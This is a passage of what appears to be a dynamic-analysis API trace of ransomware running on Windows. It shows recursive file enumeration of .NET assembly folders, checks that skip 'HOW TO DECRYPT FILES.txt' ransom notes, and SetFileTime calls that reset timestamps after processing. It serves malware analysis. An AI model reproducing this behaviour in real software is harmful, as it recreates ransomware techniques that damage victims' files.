lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.628] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.628] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.628] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.628] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.628] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd203e7f8, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xbd9d0b00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x3c1eae85, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SonicMCEBurnEngine.dll", cAlternateFileName="")) returned 1 [0101.628] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.628] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SonicMCEBurnEngine.dll") returned -1 [0101.628] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SonicMCEBurnEngine.dll") returned -1 [0101.628] lstrcmpiA (lpString1="", lpString2="SonicMCEBurnEngine.dll") returned -1 [0101.628] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.628] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\" [0101.628] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SonicMCEBurnEngine\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.633] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.633] CloseHandle (hObject=0x90) returned 1 [0101.634] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd203e7f8, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xbd9d0b00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x3c1eae85, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SonicMCEBurnEngine.dll", cAlternateFileName="")) returned 0 [0101.634] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.634] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0101.634] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.634] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0053, dwReserved1=0x69006e, cFileName="SrpUxSnapIn", cAlternateFileName="SRPUXS~1")) returned 1 [0101.634] lstrcmpA (lpString1=".", lpString2="SrpUxSnapIn") returned -1 [0101.634] lstrcmpA (lpString1="..", lpString2="SrpUxSnapIn") returned -1 [0101.634] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.634] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.635] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.635] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.635] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.635] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.635] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0101.635] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.635] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.635] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\*.*") returned="*.*" [0101.635] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.636] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.636] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.636] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.636] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.636] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a070ff, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2a070ff, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2a2d260, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.dll", cAlternateFileName="")) returned 1 [0101.636] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.636] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SrpUxSnapIn.dll") returned -1 [0101.636] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SrpUxSnapIn.dll") returned -1 [0101.636] lstrcmpiA (lpString1="", lpString2="SrpUxSnapIn.dll") returned -1 [0101.636] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.636] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\" [0101.637] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.638] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.638] CloseHandle (hObject=0x90) returned 1 [0101.639] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a070ff, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2a070ff, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2a2d260, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.dll", cAlternateFileName="")) returned 0 [0101.639] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.639] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21d9876, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21d9876, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0101.639] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.639] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720053, dwReserved1=0x550070, cFileName="SrpUxSnapIn.resources", cAlternateFileName="SRPUXS~1.RES")) returned 1 [0101.639] lstrcmpA (lpString1=".", lpString2="SrpUxSnapIn.resources") returned -1 [0101.639] lstrcmpA (lpString1="..", lpString2="SrpUxSnapIn.resources") returned -1 [0101.639] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.640] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.640] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.640] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.640] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.640] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.640] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 1 [0101.641] lstrcmpA (lpString1=".", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0101.641] lstrcmpA (lpString1="..", lpString2="6.1.0.0_en_31bf3856ad364e35") returned -1 [0101.641] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\*.*") returned="*.*" [0101.641] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.641] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.641] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.642] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.642] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.642] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120f73ee, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120f73ee, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.resources.dll", cAlternateFileName="")) returned 1 [0101.642] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.642] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SrpUxSnapIn.resources.dll") returned -1 [0101.642] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SrpUxSnapIn.resources.dll") returned -1 [0101.642] lstrcmpiA (lpString1="", lpString2="SrpUxSnapIn.resources.dll") returned -1 [0101.642] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\*.*") returned="*.*" [0101.642] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\" [0101.642] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\SrpUxSnapIn.resources\\6.1.0.0_en_31bf3856ad364e35\\") returned="" [0101.644] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.644] CloseHandle (hObject=0x90) returned 1 [0101.645] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x120f73ee, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x124fdd71, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x120f73ee, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SrpUxSnapIn.resources.dll", cAlternateFileName="")) returned 0 [0101.645] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.645] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa21ffae5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa21ffae5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0_en_31bf3856ad364e35", cAlternateFileName="610~1.0_E")) returned 0 [0101.645] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.645] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720053, dwReserved1=0x550070, cFileName="sysglobl", cAlternateFileName="")) returned 1 [0101.645] lstrcmpA (lpString1=".", lpString2="sysglobl") returned -1 [0101.645] lstrcmpA (lpString1="..", lpString2="sysglobl") returned -1 [0101.645] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.645] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.646] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.646] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.646] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.704] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.704] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="2.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="200~1.0__")) returned 1 [0101.704] lstrcmpA (lpString1=".", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.704] lstrcmpA (lpString1="..", lpString2="2.0.0.0__b03f5f7f11d50a3a") returned -1 [0101.704] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\*.*") returned="*.*" [0101.705] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.705] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.705] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd93e76, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd93e76, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd93e76, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.706] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.706] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.706] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf39a9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0xbf39a9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xab9cd29c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sysglobl.dll", cAlternateFileName="")) returned 1 [0101.706] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.706] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sysglobl.dll") returned -1 [0101.706] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sysglobl.dll") returned -1 [0101.706] lstrcmpiA (lpString1="", lpString2="sysglobl.dll") returned -1 [0101.706] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0101.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\sysglobl\\2.0.0.0__b03f5f7f11d50a3a\\") 